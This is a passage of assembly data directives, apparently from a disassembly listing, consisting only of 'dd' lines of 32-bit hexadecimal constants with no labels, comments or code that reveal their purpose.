dd 0C0F368A5h, 0C4709D50h, 479F0BA3h, 4DE06466h, 486AE50Dh
dd 310C00ACh, 25E01C73h, 0AF2C1F14h, 0A883D84h, 8C946EEDh
dd 0F1430C80h, 0E72D93h, 7D47BEA8h, 0D883998Bh, 0CC86DC0Fh
dd 1C60D802h, 0E50A0761h, 8F6AF3D7h, 0C17036CCh, 88F2D130h
dd 1D854579h, 80539E4Fh, 705D7F3Eh, 4B3C6F49h, 41950186h
dd 4A69DB84h, 28927CD0h, 3D50DABh, 97487942h, 40B773AFh
dd 884326F2h, 686E5100h, 6FDB5E78h, 0F44008Ch, 6D4F8A42h
dd 5C00884Ch, 4B9A4D84h, 0F123496Ah, 785F385Ch, 0E9757899h
dd 628C184Ah, 7A787708h, 67B05167h, 764F7060h, 906AEE49h
dd 62860047h, 4D0BF275h, 0A1E5196h, 2400776Eh, 107E8C53h
dd 0AE233069h, 6F14A5D1h, 6B69A1F0h, 0E1C8E539h, 81282FF0h
dd 25A82110h, 0C85305BFh, 8008B2E4h, 346FB0F8h, 12BC9037h
dd 4224430Bh, 0FE1F261Ch, 2071C849h, 8A6F3F36h, 38401229h
dd 16871E4Ch, 72A10AB1h, 2CB4F5h, 3D2BBCD7h, 0F4532D03h
dd 21DD3B0Ch, 0E2636205h, 50301840h, 15F61E18h, 506FAF58h
dd 3126508Eh, 0A541BFA8h, 5BE98383h, 0AD9BCD8h, 25E74B19h
dd 71A58578h, 0B558089Fh, 3B9DE477h, 0F91DC4F2h, 66B00E74h
dd 8001C416h, 0E422A1C3h, 0CC24A467h, 13C01823h, 0A6705839h
dd 0F174ACFAh, 12E05C18h, 24CAF519h, 8BE4321Eh, 950917B1h
dd 1C66B802h, 1BE6FCC0h, 0F2F950B0h, 6810E919h, 594C3ABCh
dd 0EA5B03B8h, 0F9DC505Dh, 0C409C70h, 547135DAh, 504E98CEh
dd 3DA95836h, 2AA91331h, 1077D164h, 2A6B831Ch, 818CE864h
dd 20929BCh, 4A1158B8h, 75398C2Ch, 19023098h, 4C53EE90h
dd 487202F8h, 612344E7h, 2608E15Ch, 0DC8E3F22h, 0C193DB40h
dd 32B805D7h, 0E428E68Ch, 0A65204D4h, 0C96FAC7Bh, 0F298907Ch
dd 8E646781h, 8B9196BEh, 0F5A24480h, 51F46154h, 4C662744h
dd 912C6A88h, 6428ACEEh, 984CC342h, 16482828h, 145E254h
dd 0DAE05B90h, 220C233Dh, 8025572Fh, 6199FE34h, 40EDB40Ch
dd 7B31838Ch, 0FC042259h, 88AF539Fh, 27450B0Bh, 10F47888h
dd 10DA8505h, 20819425h, 405B990h, 3293FC28h, 73D725A7h
dd 9946F080h, 2E2A140Ch, 0EA79098Ch, 0C20C9F51h, 0A03E15DEh
dd 4245F2A8h, 85CF220Dh, 99921A80h, 0A0580C30h, 9CADACBAh
dd 0A11E1951h, 92096EEEh, 0A07CF5B1h, 0A38985F0h, 0A81404E2h
dd 25ACDF42h, 1F385129h, 50AF600Ch, 0CEA8AB90h, 71361A1Dh
dd 9BA2B1B2h, 32817CA8h, 2C79E80Bh, 0ABD9D899h, 0B2655821h
dd 2C6A4C52h, 0C4D71088h, 2BC16F59h, 803CEE64h, 0ED8B6C10h
dd 98D4BF5Eh, 2D363E04h, 2C407744h, 0CC64526Ah, 0DFACE004h
dd 0A38480D4h, 2314BE83h, 1FC44B87h, 2022E516h, 21245056h
dd 2F45A8A8h, 0D9B03C37h, 8DF4DC17h, 3C8EE8A2h, 7D328F08h
dd 0D8A8F253h, 0FEDEE13Ch, 203CFAA0h, 0C25F2FAAh, 39DA4400h
dd 1F6DC3BCh, 2E08D5A2h, 79684160h, 5606D86Ah, 1721735Ch
dd 3300A51Ah, 0C51965F9h, 8A24091Fh, 78C45B7Ah, 0B7399300h
dd 8D691966h, 293C00C2h, 926D3340h, 0D101F94Fh, 1A681E67h
dd 0CC24568Ah, 0CA5F88E1h, 0B40C3C0Eh, 6E9DA740h, 0A0F84270h
dd 0AF280210h, 8B3DD103h, 4F00A45Ah, 0ADC8EB68h, 0B2417Eh
dd 3B974EDCh, 0E424155Fh, 5A135300h, 0C328B4EEh, 5730399h
dd 42F69B78h, 0BCE916E0h, 3D4C4700h, 49081CCCh, 62C80068h
dd 7E797FAFh, 6107EB73h, 27E3B1A5h, 0FCA9A10h, 4E52061Ah
dd 89E40BF0h, 4A3AE200h, 0ECA99F9h, 0B05D001Dh, 69CFCB7Bh
dd 0EEE48473h, 80284D3Ch, 30F5B1Eh, 931C68h, 8296F1EFh
dd 35808F72h, 60E76926h, 58138580h, 0F05A88FEh, 0D8C73E3Ah
dd 8364E50Ah, 21C192B4h, 0C808B5FCh, 76504531h, 0B3061DA6h
dd 840C2360h, 2B7800A1h, 0FC34A772h, 2F0712F0h, 4F43F3C6h
dd 68824C47h, 2CA087B5h, 0C02676F2h, 92F684h, 50737A38h
dd 9B556A98h, 56DA801h, 0CC337B56h, 0E4E930h, 78B5E2D0h
dd 7D811F92h, 0D20D6903h, 0E0F6406Bh, 7C1B6F83h, 0C46818BCh
dd 708429B6h, 8F1D07F8h, 46C030D4h, 38852803h, 0CE0C0736h
dd 0B0AF50D2h, 6B91DD17h, 57D7CD04h, 5AC081E1h, 16471B84h
dd 0D2C3A8h, 9FCA7DEAh, 777B54AAh, 0CD720700h, 0BA1FF8D6h
dd 0B1E30053h, 0C3AA9CE4h, 74142F5Eh, 0E1201A17h, 5A1802ABh
dd 2A13A406h, 30A3D3h, 0BB877C37h, 0CDE868BDh, 31095463h
dd 172000A4h, 95DD8774h, 30F4EAEh, 87C72E47h, 1DF7A3D7h
dd 8C4C894Fh, 49E8BBh, 0DB43194h, 69DDFBC1h, 0D3013E72h
dd 214EFD15h, 7AC0C040h, 0A8540EF8h, 0ADA070E7h, 0F40251E3h
dd 0CD1CC30Ah, 5D129096h, 8054CF10h, 0BDB28745h, 2D448C20h
dd 877D3F7Eh, 62501F00h, 173E2326h, 2B6A1400h, 0B177AC46h
dd 1A872054h, 0E9C1470Ch, 182FA0FEh, 182B085Dh, 510604D5h
dd 0A7DCBDC4h, 50D74858h, 2F771103h, 2791EE40h, 0B8089808h
dd 31B6C21h, 55B5B111h, 0B018D4F2h, 0EF99302Ah, 7297172h
dd 0D3977C04h, 58218376h, 3E8987E8h, 0C37EF900h, 0DD1BBBE8h
dd 20ECA0F2h, 4143602Bh, 0B008EBCCh, 0F75B1800h, 976A7095h
dd 0BDA80090h, 553C1BAAh, 8D0042C9h, 440FB512h, 4453D374h
dd 2F294648h, 4A1BD8CEh, 16C7E0A1h, 52A97890h, 0C8B7784Dh
dd 1EECB3C0h, 43D3018Dh, 0F6BD0CAh, 6800D7ACh, 2623E1C3h
dd 5E75CF9h, 0ED7FD13Ch, 6CEC0795h, 43911CCCh, 0A08209C0h
dd 0EA3B3D57h, 12220697h, 79311072h, 29CFCC33h, 327690C0h
dd 29A10389h, 83474523h, 2100CDFBh, 21A8EFC7h, 0EBBB869h
dd 0EE492DA4h, 86E54978h, 0B2948F02h, 615ADA1Bh, 3420D2FCh
dd 41048C16h, 40BDB687h, 12202E62h, 36A8779h, 0AC29900Fh
dd 0D1F0FDBBh, 0BA152761h, 44708A83h, 7E00E398h, 0DF4D143Bh
dd 36B57481h, 4021D147h, 182AF100h, 4928AF87h, 0C7880080h
dd 0C1315EB2h, 8F188BADh, 4ED0B07Eh, 7D491DAh, 0B99E3161h
dd 6019E804h, 23B9873Eh, 2B1178BDh, 87761500h, 0EC8EC152h
dd 1E445F00h, 31847847h, 0D27F0055h, 0C9B4CE0Bh, 6D14FE03h
dd 1294AA9Ah, 0FC20CC85h, 193B7E3h, 20BE513Eh, 988E48A8h
dd 9D9DE08h, 67930080h, 2934366Ah, 0A61C9F7Ch, 84459A24h
dd 0B58071DFh, 48F650B1h, 1D075833h, 0C92440EFh, 829C6B08h
dd 29C07C8Eh, 90D1CC40h, 6AD53700h, 3C3473Eh, 29B260DDh
dd 0ED3B9996h, 0B0E6F400h, 1B5A720Eh, 0D3640449h, 10A93D4Fh
dd 11823F4h, 0BDB8873Fh, 88301870h, 0CAA17714h, 2B8C4253h
dd 0A042706Ah, 2BE44C45h, 2EE91F60h, 20565202h, 0A4C24938h
dd 88143E0h, 8213CC4Ah
dd 0B7F8808Fh, 96052E6Ch, 0D4CF84B0h, 9F1BBC40h, 1FF20D6h
dd 0EF8C8353h, 3062CAB6h, 0CE2AD4A6h, 0C70EC0D9h, 0E7EE5793h
dd 0DED3C3D5h, 0EA41A099h, 1CA79E3h, 0CE22AB66h, 50DDBE48h
dd 87BD790h, 53D95E00h, 16209E49h, 0A70ECB2h, 3528652Fh
dd 0D3A80980h, 60BC1884h, 23761125h, 0BC11382Fh, 111E6902h
dd 0E080792Dh, 0CF50B55Ch, 61BF1C0h, 0A0A2527Eh, 2C474EACh
dd 0AA00ACE1h, 3C6E49D0h, 4593B480h, 448C5651h, 0BD000ADAh
dd 0B2AEAA93h, 375530D3h, 0A0B81FB3h, 0BB20A92Fh, 3B2E8A7Eh
dd 0C8007F04h, 6AA2DDEEh, 788CB3ADh, 0A3062EC1h, 7EC94F51h
dd 3C838B8h, 9C6EA4h, 5FC11823h, 4729578Ch, 0AB0AD031h
dd 0E68080C6h, 0A01D3F43h, 247A016Dh, 214B66B5h, 0B02EF8B3h
dd 4A748300h, 29473B4Fh, 2384A8CAh, 39750CB3h, 0A849C7B1h
dd 307F7E00h, 9A2EEBCBh, 0FE2D0008h, 0B404D29Dh, 29CBFF48h
dd 3A0C102Ah, 7B0C1CADh, 301243ECh, 0F4D836EDh, 0C11C1D46h
dd 4C8614B5h, 0C61D5A8h, 0CEAC7AD4h, 7904F249h, 684B25E9h
dd 695358C2h, 2187FE5Ch, 0A0E9718Fh, 0A1C496ADh, 49C8BB60h
dd 1E97A804h, 4075F27Ch, 47351D24h, 3304CE51h, 3E3C7D2Fh
dd 2ED43491h, 0C04664E0h, 4C8C1C10h, 550CE76Ah, 69C4B0CDh
dd 151EA32h, 78D8AD67h, 0FCD4954Eh, 82152565h, 98CBCFh
dd 0FE8DA91Dh, 0E88F53Dh, 4053223Eh, 56C0A5AEh, 211EF8BCh
dd 823CAB48h, 0E0BD204Eh, 9A9CF3A4h, 0C2573280h, 0A7C3D31Ch
dd 0ADAF5900h, 78622E4Fh, 7359003Fh, 0E1BDF8F9h, 6498DC47h
dd 97800499h, 0BB801474h, 0E3D300F5h, 3DE4DE5Eh, 4F497C6Ah
dd 0B584C64h, 88C430D6h, 5C80D45Ah, 69A2E41Fh, 7DAB00B9h
dd 50C5DBFCh, 51543BF7h, 3E04FB1Ch, 8D7546F1h, 88124488h
dd 3C6050D2h, 852F7151h, 0AC1D50F8h, 3BBD00B5h, 0AA9FC52Dh
dd 0BB00AD56h, 0EF49189Eh, 31475137h, 465087B9h, 0B247230h
dd 0A09516F0h, 8F3D6D4h, 78C013C5h, 4CC847C4h, 9899192Bh
dd 843181Ch, 50BDB487h, 37B8070h, 284F4387h, 63C01290h
dd 0DD1A029Dh, 4160C87Eh, 20198140h, 2F266B30h, 80C44020h
dd 11176843h, 6D5350E8h, 991BEB00h, 9C315A83h, 0CF5503ADh
dd 4A7B1CEAh, 0D4CEDBD9h, 0FE722952h, 8CFC9D28h, 24480648h
dd 76C08079h, 464B22E9h, 4FC2250h, 0B5E96E8Ch, 2C7C9142h
dd 1E30F438h, 0C11C8700h, 0F825EE46h, 0AB4300EDh, 316F9895h
dd 3A50105Dh, 0D709B49Ch, 11E0C11Ah, 84367040h, 4393B602h
dd 0C0C7A651h, 93BF0C01h, 63FCB066h, 0CA3C01F7h, 4C848FBAh
dd 0C5608A27h, 0D781B8C1h, 1D60852Eh, 55A08C28h, 15843BB7h
dd 0EC2354AEh, 988D8203h, 2EE8664Ah, 4726EDE0h, 4E405035h
dd 0C0ADDC05h, 0E7A66361h, 4D04FF0Bh, 0B144257Fh, 3380C8h
dd 0D3CB2D47h, 0E161E54Eh, 22FA8618h, 72653270h, 0B14980F3h
dd 98D06777h, 0D50B03A8h, 6D07C51h, 0A7C9F149h, 0A57520E3h
dd 1399480Ch, 0A3110EDh, 76D4A989h, 0E96DC0E0h, 88464B21h
dd 931DFA22h, 9540E985h, 493ED30Fh, 0E8AF30C9h, 0B1468451h
dd 48D2AB2Eh, 0F4DB2912h, 21C29DC4h, 901A0643h, 2908420h
dd 1608164h, 0D22085F4h, 0F8404048h, 0F0A5DE61h, 9E6096DCh
dd 6DD009Eh, 3A193BA6h, 4ADFFD00h, 9B8262ACh, 0F8ED0EA3h
dd 0CFACC948h, 4F0C42F0h, 41B5DC12h, 5D6F0069h, 84A10FC6h
dd 6D00DB77h, 2142B16Ch, 7EF255E8h, 0DC9E0A83h, 3AF8BB16h
dd 0B02C54C9h, 9BE34018h, 0A5E62701h, 0CE1E337Dh, 99C0E60Fh
dd 257D6A76h, 492404C5h, 0C450BB13h, 0C8489834h, 837D1710h
dd 0C0E95F37h, 9D458726h, 0B7D8A604h, 1DC4E3BBh, 0CE4E8802h
dd 8B704044h, 0DC538031h, 0F777111Eh, 187C8FC2h, 680C802Dh
dd 0F84E6C2Ah, 18485064h, 0FD81394h, 0C8A800BEh, 0E903BAC3h
dd 46D8E850h, 1F44284Ch, 0A55FF7C2h, 0E7C098FAh, 242E4399h
dd 16E0E249h, 0BC3C2077h, 80F7051Bh, 0E0B32840h, 9B3347h
dd 6598DBCBh, 759A9372h, 6879767Ah, 0A7901A0Fh, 97960073h
dd 0C6EE5E77h, 28605A26h, 0A5436977h, 6C06948Fh, 677D305Fh
dd 5AF8AEEAh, 1979220h, 626B9B63h, 0C474A593h, 0AA0632A0h
dd 64A89A76h, 71960D90h, 0D318A166h, 6063A5B8h, 64A99C0Eh
dd 75998678h, 719D7428h, 69F6067h, 6665A691h, 5A6C78C3h
dd 62311F97h, 0D159F7A8h, 48AA5E5Ch, 3254EE0Ch, 70009984h
dd 68A19374h, 0A0A75F69h, 289C6288h, 0E8145D6Bh, 0CFDD07B9h
dd 8191E159h, 0A68EB6FBh, 1901E449h, 0F0D53060h, 0B8343180h
dd 3D5647C5h, 25735200h, 71C02883h, 23B40067h, 0CA810FAAh
dd 0A9002C24h, 15BFF4B3h, 7CDAA896h, 35FD0791h, 0E3E6C1C8h
dd 0B7F9395Bh, 527180B6h, 8AE4D09Bh, 0CAE94054h, 98766D07h
dd 96F6723Ah, 187D1D28h, 1745020Ah, 0E003F348h, 6EA128CEh
dd 0B210E518h, 68C82B5Bh, 0F6E04392h, 1BB3311Dh, 118CD9Ah
dd 0EDD4142Ch, 1391011h, 0A4E23415h, 0E50FCE40h, 0AF4B1D10h
dd 0CF5B833h, 95FA1559h, 0A8A41A30h, 2CFEF028h, 1792444h
dd 589F1BE8h, 5034F33Dh, 4429D6B4h, 0F4A12C14h, 5D4810D0h
dd 9618FC8h, 2F0C3355h, 5225C00Ch, 33F3305Ah, 0EF1838ECh
dd 809C8889h, 0C18C1668h, 64D52DDFh, 413EC8EDh, 0AD1C7592h
dd 0E33DC43h, 0A40CF9F1h, 0A153198h, 39189962h, 564C87DCh
dd 842058EAh, 1FFB5722h, 0A4B9B833h, 0B9981818h, 2530BCD6h
dd 2E1A31C4h, 9618CAD8h, 0F0728A4Ch, 0E89B1458h, 0FD914230h
dd 0DB48E014h, 81396F28h, 3EE87D96h, 0F1CDA449h, 3685C90Ah
dd 0C1B8C474h, 44DC2C2Ch, 0C4854A2Bh, 0CFC83141h, 0EA509019h
dd 1057B288h, 0CB9A84F5h, 0F794103Fh, 0C24298A7h, 0D4881FCAh
dd 2C0150A0h, 504F2A89h, 28D7EC84h, 1228A10Bh, 0C73C841Ah
dd 46841828h, 0DA54A17Ah, 1123210Ah, 46D0A8A2h, 0EFE013F5h
dd 6C885C24h, 1B9144B6h, 0DC116099h, 0EB8E9609h, 0EC0E6011h
dd 61DA4F17h, 0B7848240h, 0AE2796h, 45A34E7Bh, 989558C8h
dd 159B0920h, 5AB2B712h, 9C90A048h, 53BE1F8Eh, 8FA44CC7h
dd 0B953B610h, 4017134Ch, 4529832h, 912549F8h, 3C5C1BB0h
dd 46390C3Eh, 1E113C17h, 1074E34Ch, 0E0125D48h, 89DC32FAh
dd 4109A893h, 90269678h, 93DB4168h, 13848A4h, 8A1C36BEh
dd 16A601D9h, 1C6AA4F8h, 8F53625Ah, 75619969h, 0D2A95F2Bh
dd 0AAA2E4C3h, 8E97D9C0h, 93BD3C03h, 0E7CE746Fh, 529569B1h
dd 0EC302071h, 7896EAB8h, 942B3A9Bh, 11286C36h, 64A59C1Fh
dd 71979003h, 0C0529B5Dh, 7969566h, 536979B8h, 0E809CB78h
dd 8460F087h, 669E076Bh, 91649DD2h, 45A9BF8h, 7A7FC0FAh
dd 0E799860h, 6265635Dh, 5818926Ah, 0B8922615h, 414FC09h
dd 122480C4h, 57FBC96h, 253611F7h, 0A18497D0h, 705DFA75h
dd 0C81335B0h, 4C41F272h, 2FA5D079h, 1463870h, 0D82FDCAh
dd 60E94CA4h, 350F7A14h, 0F65C8BA6h, 1E810C18h, 0CBBE0FECh
dd 97007B82h, 0D1D7E2E3h, 48055700h, 9AB2D533h, 7C5D1D9Ch
dd 0E9A445EFh, 8174C768h, 0BE11D7B8h, 7BFB0F70h, 7181F8E8h
dd 0B29633CBh, 61B3A0D9h, 73630878h, 0A848B79h, 0FD06C1C0h
dd 282967Ch, 54AEEA6Eh, 0BF3F7CB4h, 10DD7C2Dh, 23970D84h
dd 868E4C6h, 0A5FB708Dh, 0D838808h, 0CEF82E57h, 0DD20ACC6h
dd 15BF0D27h, 6404B4Fh, 2B1E509Ch, 0A314DB61h, 18EB82D4h
dd 0A08CBBD2h, 8FF36481h
dd 99808118h, 0A3032529h, 4098E804h, 452E5643h, 18D32210h
dd 0D700C1F8h, 27AC1EE0h, 7C90BCCCh, 14DCB108h, 0D37848F2h
dd 284C1548h, 6415AE89h, 0F591EE6h, 3D2155FCh, 7090E687h
dd 7F98EACFh, 470054F2h, 0B8A99973h, 0EEA6605Bh, 9F913C69h
dd 0C578762Ch, 0A8508079h, 54B05D65h, 0B21D2BF8h, 9D134785h
dd 3FDC7C80h, 0D241298Ch, 4D898744h, 0ACC770BCh, 0C9535367h
dd 8D150F04h, 0CC68A79h, 80030868h, 0E473779Bh, 0BA8F7451h
dd 0F07862F6h, 88318442h, 0C21094B2h, 8038E8A0h, 3E81342Eh
dd 0A66CD05Ch, 0ED12F708h, 308A0A27h, 219DDAD1h, 0B0C421A6h
dd 0C381444Dh, 86764A4h, 701042C4h, 886E2E14h, 0DF9CBE26h
dd 5E2ED705h, 52B1C461h, 50008C59h, 684B79BAh, 19182817h
dd 12960999h, 48942497h, 22929195h, 91904493h, 8F128E89h
dd 8D488C24h, 8B228A91h, 89898844h, 0E0871386h, 0FA488AF6h
dd 3142F67Fh, 0EDC1B283h, 0EFB89439h, 9792B284h, 525F5904h
dd 0BC80C608h, 9B3DD76Bh, 33F19C0Fh, 80F38F4Bh, 0D1EDD808h
dd 0EEECB3h, 0D75A983Ch, 0F14C99ABh, 0D154D1F7h, 0E3BCE1BBh
dd 1C644020h, 90F73204h, 0B3CA0E68h, 99A187D2h, 535E5D82h
dd 1FFA5F48h, 4A56FD04h, 8688CC36h, 7A46821Ch, 0BE408CC8h
dd 5C384B29h, 66986404h, 9D407E7Bh, 0A08967ACh, 0A0A309C8h
dd 0FD048518h, 1B6F7057h, 0E656BF03h, 0E1D26640h, 10431557h
dd 95339AE3h, 0D8696038h, 0F207A396h, 3F6C56D6h, 187C64C7h
dd 0B9CA1EDEh, 0A7F1811Ah, 43F5BC84h, 43E0C11Ch, 0D20A3E79h
dd 2836CE14h, 70EAFA45h, 175495E4h, 1541B061h, 309F87EEh
dd 0B1850073h, 0A0265182h, 7F006478h, 5B4A32BAh, 347A495h
dd 6A93BD16h, 66889778h, 7974EE18h, 0A6917400h, 0A8958675h
dd 93600362h, 7FCB5997h, 0E86979E1h, 64E8758Ah, 74779C03h
dd 0A75232B1h, 677985C0h, 40AC6199h, 0F064AA69h, 6A797B9Dh
dd 40335F2Ah, 0AD1E60F8h, 73077671h, 9EC11798h, 89E16775h
dd 98823049h, 98635A6Ch, 0F47A1C99h, 0CB80925Dh, 6AA502AFh
dd 6CA66067h, 95DF609Ah, 0FA5A45DCh, 0A66AA420h, 57ACE81Dh
dd 5F761867h, 60A4E4A8h, 64A22502h, 45635067h, 696A8530h
dd 66C40095h, 6F9868A3h, 7C648A15h, 80CB8F38h, 0B76FAA8Eh
dd 746B7D9Eh, 2314A591h, 7F328040h, 538EDC6Fh, 993A5F71h
dd 0A58A1579h, 67A40EF8h, 59EF7D63h, 86505770h, 344E289h
dd 4B88BD14h, 0B4E0827Ah, 0A93A8A66h, 98620961h, 8E34816Dh
dd 356974h, 268F63D0h, 9B466B5h, 98206F67h, 0A2AE5F62h
dd 968A271Fh, 0F0E860D3h, 0CB28506Ch, 7CA9D11Fh, 0A06E2066h
dd 0A8926FA6h, 0EC654871h, 58FE506Bh, 0DC29A761h, 5D1C91ACh
dd 57692476h, 6BA40030h, 6887CE67h, 56917725h, 58A15A98h
dd 0E56077B8h, 65546062h, 9A2C7BF0h, 950FAD97h, 915C035Eh
dd 634013A1h, 0CEC000A8h, 627870A6h, 5A60530Eh, 12738F65h
dd 3C8E8C00h, 0C76D9691h, 1E679B56h, 0FD394AFh, 2B0E5EFCh
dd 5CA00372h, 1019A699h, 94609B62h, 58DDE7D3h, 979D3689h
dd 93D88155h, 0AB202B64h, 6F91E865h, 0A5E930A8h, 67D4A255h
dd 9413FF5Ah, 6360A012h, 0FFD03EABh, 0A583F852h, 52C27468h
dd 0DC05D4ECh, 0CE7760ACh, 0F01D6098h, 5E790F7Fh, 0FE9E5295h
dd 25B893FCh, 0FF7AB05Ch, 0E575C89h, 5A8984h, 902B6AE8h
dd 3085F9ABh, 857364A5h, 7072FF7Ch, 5F0C7BAAh, 164769D8h
dd 2A79374h, 73A4B5C4h, 6797B4C1h, 765313E4h, 0C0980C62h
dd 0FFA36598h, 0A4E3DC61h, 7797D881h, 75AAE1E3h, 1C48C462h
dd 9E2523Dh, 0C4C25A66h, 6765E494h, 0C091AA50h, 62FD8C40h
dd 48702070h, 7D7CFC5Fh, 1F68DF95h, 9A7602A6h, 20E467A5h
dd 2C219096h, 9A3C0F49h, 0BC415D80h, 50343060h, 2B6658C0h
dd 3E6DA593h, 0B066655Bh, 895380DCh, 17504818h, 0CDB5BAEh
dd 7C8EB0EBh, 858A2D1Dh, 64C18493h, 291EDEABh, 0D11866B4h
dd 64C86443h, 98141472h, 0EF68676Ah, 86758900h, 7764A796h
dd 6A2ED8B0h, 85B9647Bh, 7473979Ah, 0F8CD1856h, 73CE5010h
dd 17807448h, 44696677h, 0BA966220h, 6097F0D1h, 773A443Ch
dd 6AA59909h, 0D49E3CE4h, 0A0129863h, 2E5D55A6h, 39809C64h
dd 759F9Eh, 69798D62h, 762E9399h, 5807905Fh, 5447B97Bh
dd 6502CC8h, 21719B67h, 62637404h, 89BF79A9h, 0F6806500h
dd 0CB06C85Bh, 1768A2BBh, 54D7983h, 0D47393E0h, 8B342EE8h
dd 62B8C1AFh, 68D0507Dh, 9EAF0FBBh, 90DC376Bh, 6A933AB6h
dd 1DB8F0D0h, 7B7E18h, 6BA96014h, 0AD3BCE69h, 7421E170h
dd 78C8A766h, 71A62893h, 0E85897C8h, 647790CBh, 85EE27E0h
dd 6A388008h, 869F5F10h, 67669401h, 0E3D39783h, 0BE288E99h
dd 0B5123A60h, 0DC1C10A8h, 0D873621Fh, 0AA95209Eh, 9169641Eh
dd 5F277F7Ah, 0B9B80BA5h, 0C45233E0h, 8C808879h, 5652A841h
dd 47DDEC28h, 0C6925D71h, 9A0AD84Bh, 0DC636675h, 79CE143Ah
dd 0D3D841D0h, 6C7880FFh, 0A14C935Ah, 82507804h, 0A9029180h
dd 3FF81F75h, 0A6B08576h, 7053F040h, 5FA5945Dh, 65DC3158h
dd 529DE077h, 67E97564h, 4A58A90Ah, 983662DCh, 30C2605Ah
dd 0D11F61A9h, 5B7882D4h, 44419F5Eh, 29F44D91h, 0F0D29364h
dd 702042A7h, 0F787C30h, 6269718Ch, 7FE8790Ch, 12F0C0D0h
dd 188B746Ah, 5A46B0FEh, 63A61394h, 7CDC0078h, 75A49982h
dd 0F777CB07h, 0BC60C0E4h, 6F4B3B5h, 168898A0h, 5200413Ah
dd 0BB899640h, 33F2374Ch, 4A0854B3h, 49732100h, 0F3667F96h
dd 4635067Ah, 80EDD511h, 7425C00Ch, 3C15883h, 0BB8E6BD8h
dd 0DAC05CDDh, 4518C091h, 93208D70h, 307DF078h, 9C10BF3Ch
dd 907C080Fh, 3BBE7201h, 0CEF0DDBAh, 61CB3881h, 3A8C163Ch
dd 0CED18B4h, 837B81A6h, 0AD4EA368h, 0B8754080h, 55D20025h
dd 5AAC0C3Dh, 0D5012ED4h, 837F06EEh, 1CC4F073h, 9B3D0256h
dd 4782C767h, 4B23209Eh, 0C87902D5h, 0E003A51h, 0C164DDC4h
dd 0EFF37A90h, 0DE8450D4h, 0C93E46AFh, 18F00CCFh, 0A413028h
dd 881C2EBEh, 12C38CD4h, 0A0E079Eh, 40DFD067h, 0A7EC8D92h
dd 177A130Dh, 344FAE8Ch, 2AB53EDh, 0B3AD1CF8h, 7E466700h
dd 8B0F2589h, 0BF4068F4h, 974E7D3Dh, 215CCD0h, 881C4092h
dd 89201848h, 4D00BC9Bh, 0F4A13A36h, 4871C735h, 84230C86h
dd 8D967C01h, 4D186CBBh, 457788h, 0A5598C96h, 92B6BF82h
dd 0A4A861C1h, 0C88A4FB5h, 0CB2BEh, 21170818h, 7B0F3F59h
dd 0E5871F3h, 40949596h, 0DC05DE14h, 6E5CBB66h, 2CC0E004h
dd 0B9F96441h, 4CE43ADDh, 4A620CCBh, 1F50864Bh, 0B32370A4h
dd 101C233Bh, 23A44744h, 763A86FCh, 1B302147h, 44FD618Bh
dd 0E555008Eh, 492AD5C3h, 81030398h, 0C19C8D63h, 0C2D0069Eh
dd 70F57405h, 0F9D10C1h, 685B72D1h, 47D61E88h, 0F2E307F5h
dd 2089F9C7h, 0C0E58B68h, 0FA10280Dh, 10A14C54h, 708C51BCh
dd 0DEF501A3h, 88123BD2h, 211FD319h, 7F5377FDh, 0B2D50B02h
dd 62744F2Eh, 0A8334F30h, 50C78A8Eh, 9AE985Fh, 3353F9C4h
dd 5048D011h, 0DE59ECA0h, 0F13F200h, 1085DF87h, 82190F44h
dd 0D8C13B45h, 0CD05BB84h, 708440F9h, 4899B98Fh, 8F3DFEF0h
dd 5C88FEC7h, 8843162Ah, 61A66F00h, 327487F3h, 0BEF50099h
dd 0E2313D08h, 0BB76B47Ch, 0D1FD8830h, 0E5C3C194h, 60DD4C20h
dd 7595E9E8h, 0BCA08508h
dd 0A21E8B89h, 6A439B01h, 916ECBA9h, 0B52F1A81h, 33052014h
dd 5F119003h, 0F63899C9h, 0DEEE08h, 0B7495E4h, 0D3C74226h
dd 0AA27FB04h, 80EBF3FCh, 0BA45AE67h, 0C31CAB1Fh, 128AE8C0h
dd 0FC4CF1h, 9F9D341Eh, 7065B53Dh, 0C6482300h, 0D1E894EBh
dd 0C1BBFC68h, 5F14F560h, 7FA1DC27h, 9C176C00h, 3B984D3Eh
dd 57890EF8h, 48B88B35h, 1830F219h, 51AA99B0h, 488EE9E6h
dd 86C054F1h, 4EB6E3EBh, 774B8B00h, 8047E234h, 3050C12Fh
dd 83ABD4B3h, 0F6176FA8h, 1B180034h, 9B7E6488h, 2F0F70F0h
dd 804CE710h, 0FC33E118h, 0D1918BAh, 1AB5B199h, 83829D39h
dd 12E93A3Fh, 0A7083077h, 9D61DC21h, 0C9F7B90Fh, 81E037Eh
dd 2E5006D1h, 809EA8ABh, 341A8306h, 81D8CF73h, 0BA109888h
dd 0F35463DCh, 0C320209Ch, 2848C5Fh, 69958F1Dh, 80A2E906h
dd 0A580EBC4h, 0DA56EA6Ch, 8CC6372h, 0A621C0h, 3555F5E3h
dd 0B97774BDh, 5902FE01h, 0CA5C1F6Eh, 4613A080h, 67FF2595h
dd 5BD77815h, 0F7C50CD8h, 48478D6h, 0DD92E3E5h, 7F3E00E4h
dd 71671E58h, 5FB719B9h, 9ED508A9h, 58801C21h, 8B7139B3h
dd 507E41Ah, 846350A0h, 0BAC42897h, 2F6C8E06h, 0E890DC30h
dd 9464305Bh, 0E4172A28h, 6F18CB60h, 2BB20C86h, 1F097E1h
dd 7DB5DE11h, 5B1024B7h, 0F126151Fh, 6C6212D2h, 0D7620A0h
dd 8F043526h, 0DDCE0232h, 499B5481h, 88606005h, 0BB1F5E6Eh
dd 603CF28Eh, 0AC632E41h, 6BA0C9C2h, 88407F86h, 2B26C915h
dd 47750358h, 7B5A720h, 0E8A6FD58h, 0E990D202h, 50694A0h
dd 0A71282CAh, 0A8709AD9h, 53942554h, 2E0E9470h, 2058A8B3h
dd 0FE0062E1h, 3E78FCFBh, 603B6867h, 349A684Ah, 0C0C1EDF3h
dd 4B935847h, 29802422h, 0D1C5738Dh, 2DF66E03h, 935053h
dd 0B0542258h, 0B9F2A0A1h, 0A50C48A8h, 0CC005492h, 0AC5DB790h
dd 1EC8758Bh, 92CE070Ah, 0CB68015Eh, 813F9C46h, 6C1961B0h
dd 8424C427h, 68630C1Ah, 0FB907E59h, 0B00BBA24h, 809D1CC0h
dd 220F461Ah, 63D600AEh, 0CBC5259Dh, 0F500FAC1h, 35809CA4h
dd 0E6CCA52Eh, 284148B4h, 5ED51F81h, 0B840D618h, 6F89EBE7h
dd 0E80F1208h, 41CFA281h, 0A56768A8h, 9C3ADC00h, 85FE5B00h
